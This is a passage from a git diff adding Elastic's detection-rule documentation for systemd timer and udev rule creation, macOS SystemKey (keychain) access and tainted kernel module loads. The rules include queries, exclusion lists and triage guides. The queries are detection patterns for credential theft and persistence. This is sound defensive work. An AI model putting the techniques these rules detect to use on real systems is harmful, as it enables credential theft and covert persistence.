+ - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path : ( + "/etc/systemd/system/*", "/etc/systemd/user/*", "/usr/local/lib/systemd/system/*", + "/lib/systemd/system/*", "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*", + "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*" +) and file.extension == "timer" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "./usr/bin/podman", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/kaniko/executor", + "/etc/checkpoint/common/install.sh", "/usr/bin/dnf5", "/usr/libexec/packagekitd", "/usr/sbin/dnf", + "/opt/kaniko/executor", "/usr/bin/env", "/usr/local/bin/teleport-update", "/usr/bin/buildah", + "/usr/lib/systemd/systemd", "/usr/local/bin/defender" + ) or + process.name like ( + "python*", "crio", "apt-get", "install", "snapd", "cloudflared", "sshd", "convert-usrmerge", "docker-init", + "google_metadata_script_runner", "ssm-agent-worker", "pacman", "convert2rhel", "platform-python*" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/docker/overlay2/*/dockerd", "/home/*/bin/dockerd", "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Systemd Timers +** ID: T1053.006 +** Reference URL: https://attack.mitre.org/techniques/T1053/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Systemd Timers +** ID: T1053.006 +** Reference URL: https://attack.mitre.org/techniques/T1053/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-udevd-rule-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-udevd-rule-file-creation.asciidoc new file mode 100644 index 0000000000..cc50ab8208 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-udevd-rule-file-creation.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-systemd-udevd-rule-file-creation]] +=== Systemd-udevd Rule File Creation + +Monitors for the creation of rule files that are used by systemd-udevd to manage device nodes and handle kernel device events in the Linux operating system. Systemd-udevd can be exploited for persistence by adversaries by creating malicious udev rules that trigger on specific events, executing arbitrary commands or payloads whenever a certain device is plugged in or recognized by the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd-udevd Rule File Creation* + + +Systemd-udevd manages device nodes and handles kernel device events in Linux, using rule files to automate responses to hardware changes. Adversaries can exploit this by creating malicious rules that execute commands when specific devices are connected. The detection rule monitors the creation of these rule files, excluding legitimate processes, to identify potential abuse and ensure system integrity. + + +*Possible investigation steps* + + +- Review the file path and name to determine if the rule file is located in a directory commonly used for udev rules, such as /etc/udev/rules.d/ or /lib/udev/. +- Examine the process executable that created or renamed the rule file to identify if it is a known legitimate process or an unexpected one, as specified in the query. +- Check the file extension and ensure it is .rules, confirming it is intended for udev rule configuration. +- Investigate the process name and path to determine if it matches any of the excluded legitimate processes or paths, which could indicate a false positive. +- Analyze the contents of the newly created or modified rule file to identify any suspicious or malicious commands that could be executed when a device is connected. +- Correlate the event with other system logs to identify any related activities or anomalies around the time of the rule file creation or modification. +- Assess the risk and impact of the rule file creation by considering the context of the system and any potential persistence mechanisms it might enable for an adversary. + + +*False positive analysis* + + +- System updates and package installations can trigger rule file creations. Exclude processes like dpkg, rpm, and yum by adding them to the exception list to prevent false positives during legitimate system maintenance. +- Container management tools such as Docker and Podman may create or modify udev rules. Exclude these processes to avoid alerts when containers are being managed. +- Automated system configuration tools like Puppet and Chef can modify udev rules as part of their operations. Add these tools to the exception list to reduce noise from routine configuration changes. +- Snap package installations and updates can lead to rule file changes. Exclude snapd and related processes to prevent false positives during snap operations. +- Netplan and systemd processes may generate or modify udev rules as part of network configuration or system initialization. Exclude these processes to avoid unnecessary alerts during legitimate system activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of malicious udev rules and potential lateral movement. +- Identify and review the newly created or modified udev rule files in the specified directories to determine if they contain malicious commands or payloads. +- Remove any unauthorized or malicious udev rule files to prevent them from executing on device connection events. +- Restore any affected system configurations or files from a known good backup to ensure system integrity. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Monitor the system for any further suspicious activity or attempts to recreate malicious udev rules, adjusting detection mechanisms as necessary. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected, ensuring comprehensive threat containment and remediation. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +process.executable != null and file.extension == "rules" and +file.path like ( + "/lib/udev/*", "/etc/udev/rules.d/*", "/usr/lib/udev/rules.d/*", "/run/udev/rules.d/*", "/usr/local/lib/udev/rules.d/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "./usr/bin/podman", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/netplan/generate", + "/lib/systemd/system-generators/netplan", "/lib/systemd/systemd", "/usr/bin/containerd", "/usr/sbin/sshd", + "/kaniko/executor", "/usr/local/bin/defender", "/usr/bin/dnf5", "/opt/kaniko/executor", "/lib/netplan/generate" + ) or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/var/lib/docker/overlay2/*/dockerd", "/var/lib/containers/storage/overlay*/dockerd" + ) or + process.name in ( + "systemd", "netplan", "apt-get", "vmware-config-tools.pl", "systemd-hwdb", "ssm-agent-worker", "crio", "cloud-init", "convert2rhel" + ) or + process.name like ("python*", "perl*") or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Udev Rules +** ID: T1546.017 +** Reference URL: https://attack.mitre.org/techniques/T1546/017/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemkey-access-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemkey-access-via-command-line.asciidoc new file mode 100644 index 0000000000..5621abd2d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemkey-access-via-command-line.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-systemkey-access-via-command-line]] +=== SystemKey Access via Command Line + +Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. Adversaries may collect the keychain storage data from a system to acquire credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/AlessandroZ/LaZagne/blob/master/Mac/lazagne/softwares/system/chainbreaker.py + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SystemKey Access via Command Line* + + +macOS keychains securely store user credentials, including passwords and certificates. Adversaries may exploit command-line access to extract keychain data, gaining unauthorized credentials. The detection rule identifies suspicious process activities targeting SystemKey paths, excluding legitimate security processes, to flag potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the executable that attempted to access the SystemKey paths, focusing on the process.args field to confirm the presence of "/private/var/db/SystemKey" or "/var/db/SystemKey". +- Investigate the parent process using process.Ext.effective_parent.executable to determine if the process chain is suspicious or if it might be a legitimate process that was not excluded by the rule. +- Check the timestamp of the event to correlate with other system activities or user actions that might explain the access attempt. +- Analyze the user account associated with the process to determine if it aligns with expected behavior or if it might indicate a compromised account. +- Review recent system logs and security alerts for any other unusual activities or patterns that might suggest a broader compromise or targeted attack. +- If possible, conduct a forensic analysis of the system to identify any unauthorized changes or additional indicators of compromise related to credential theft. + + +*False positive analysis* + + +- Security software updates or scans may trigger the rule by accessing SystemKey paths. Users can create exceptions for known security applications that frequently access these paths, ensuring they are not flagged as threats. +- System maintenance scripts or backup processes might access SystemKey paths as part of routine operations. Identify these processes and add them to an exclusion list to prevent false alerts. +- Administrative tools used by IT departments for legitimate credential management could be mistakenly flagged. Verify these tools and configure the rule to exclude them from detection. +- Custom scripts developed for internal use that interact with keychain data should be reviewed and, if deemed safe, added to the list of exceptions to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule that are accessing the SystemKey paths, ensuring no further credential extraction occurs. +- Conduct a thorough review of the system's keychain access logs to identify any unauthorized access attempts and determine the scope of the compromise. +- Change all credentials stored in the keychain that may have been accessed, including Wi-Fi passwords, website credentials, and any other sensitive information. +- Restore the system from a known good backup if unauthorized changes or persistent threats are detected, ensuring the system is free from compromise. +- Implement additional monitoring on the affected system and similar endpoints to detect any further attempts to access keychain data, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures, such as notifying affected users or stakeholders. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args in ("/private/var/db/SystemKey", "/var/db/SystemKey") and + not process.Ext.effective_parent.executable like "/Library/Elastic/Endpoint/elastic-endpoint.app/Contents/MacOS/elastic-endpoint" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tainted-kernel-module-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tainted-kernel-module-load.asciidoc new file mode 100644 index 0000000000..4f5149f9e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tainted-kernel-module-load.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-tainted-kernel-module-load]] +=== Tainted Kernel Module Load + +This rule monitors the syslog log file for messages related to instances of a tainted kernel module load. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tainted Kernel Module Load* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of code. While beneficial, they can be exploited by adversaries to introduce malicious code, bypassing security measures. Attackers may load unsigned or improperly signed modules, leading to a "tainted" kernel state. The detection rule identifies such events by monitoring syslog for specific error messages, signaling potential unauthorized module loads, thus aiding in early threat detection and system integrity maintenance. + + +*Possible investigation steps* + + +- Review the syslog entries around the time of the alert to gather additional context and identify any other suspicious activities or related events. +- Investigate the specific kernel module mentioned in the syslog message to determine its origin, legitimacy, and whether it is expected on the system. +- Check the system for any recent changes or installations that could have introduced the unsigned or improperly signed module, including software updates or new applications. +- Analyze the system for signs of compromise, such as unexpected network connections, unusual process activity, or unauthorized user accounts, which may indicate a broader security incident. +- Consult with system administrators or relevant personnel to verify if the module load was authorized or part of a legitimate operation, and document any findings or justifications provided. + + +*False positive analysis* + + +- Custom kernel modules: Organizations often use custom or proprietary kernel modules that may not be signed. These can trigger false positives. To manage this, maintain a list of known, trusted custom modules and create exceptions for them in the monitoring system. +- Outdated or unsupported hardware drivers: Some older hardware drivers may not have signed modules, leading to false positives. Regularly update drivers and, if necessary, exclude specific drivers that are known to be safe but unsigned. +- Development and testing environments: In environments where kernel module development occurs, unsigned modules may be loaded frequently. Implement separate monitoring rules or exceptions for these environments to avoid unnecessary alerts. +- Vendor-provided modules: Certain vendors may provide modules that are not signed. Verify the legitimacy of these modules with the vendor and consider excluding them if they are confirmed to be safe. +- Temporary testing modules: During troubleshooting or testing, temporary modules might be loaded without proper signing. Ensure these are removed after testing and consider temporary exceptions during the testing phase. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Verify the integrity of the kernel and loaded modules by comparing them against known good versions or using a trusted baseline. +- Unload the suspicious kernel module if possible, and replace it with a verified, signed version to restore system integrity. +- Conduct a thorough forensic analysis of the affected system to identify any additional signs of compromise or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring and logging for kernel module loads and other critical system activities to detect similar threats in the future. +- Review and update system and network access controls to ensure only authorized personnel can load kernel modules, reducing the risk of unauthorized changes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and +message:"module verification failed: signature and/or required key missing - tainting kernel" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tainted-out-of-tree-kernel-module-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tainted-out-of-tree-kernel-module-load.asciidoc new file mode 100644 index 0000000000..bae0b0b858 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tainted-out-of-tree-kernel-module-load.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-tainted-out-of-tree-kernel-module-load]] +=== Tainted Out-Of-Tree Kernel Module Load + +This rule monitors the syslog log file for messages related to instances of a out-of-tree kernel module load, indicating the taining of the kernel. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tainted Out-Of-Tree Kernel Module Load* + + +Kernel modules extend the functionality of the Linux kernel without rebooting the system. While beneficial, out-of-tree modules, not included in the official kernel source, can taint the kernel, posing security risks. Adversaries exploit this by loading malicious modules to evade detection and maintain persistence. The detection rule monitors syslog for specific messages indicating such module loads, helping identify potential threats early. + + +*Possible investigation steps* + + +- Review the syslog entries around the time of the alert to gather additional context about the module load event, focusing on messages with "loading out-of-tree module taints kernel." +- Identify the specific out-of-tree kernel module that was loaded by examining the syslog message details and cross-reference with known legitimate modules. +- Check the system for any recent changes or installations that might have introduced the out-of-tree module, such as software updates or new applications. +- Investigate the source and integrity of the module by verifying its origin and comparing its hash against known good or malicious hashes. +- Assess the system for any signs of compromise or unauthorized access, focusing on persistence mechanisms and defense evasion tactics, as indicated by the MITRE ATT&CK framework references. +- Consult with system administrators or relevant stakeholders to determine if the module load was authorized or expected as part of normal operations. + + +*False positive analysis* + + +- Legitimate third-party drivers or hardware support modules may trigger alerts when loaded as out-of-tree modules. Users should verify the source and purpose of these modules to ensure they are not malicious. +- Custom-built modules for specific applications or hardware optimizations can also cause false positives. Users can create exceptions for these modules by adding them to an allowlist if they are verified as safe and necessary for system operations. +- Development and testing environments often load experimental or custom modules that are not part of the official kernel. In such cases, users should document these modules and exclude them from alerts to avoid unnecessary noise. +- Regularly updated or patched modules from trusted vendors might not be immediately recognized as safe. Users should maintain a list of trusted vendors and update their exception lists accordingly to prevent false positives. +- Some security tools or monitoring solutions may use out-of-tree modules for enhanced functionality. Users should ensure these tools are from reputable sources and exclude their modules from detection rules if they are confirmed to be secure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Identify and unload the suspicious out-of-tree kernel module using the `rmmod` command to remove it from the kernel. +- Conduct a thorough review of the system's kernel module load history and verify the legitimacy of all loaded modules. +- Perform a comprehensive malware scan 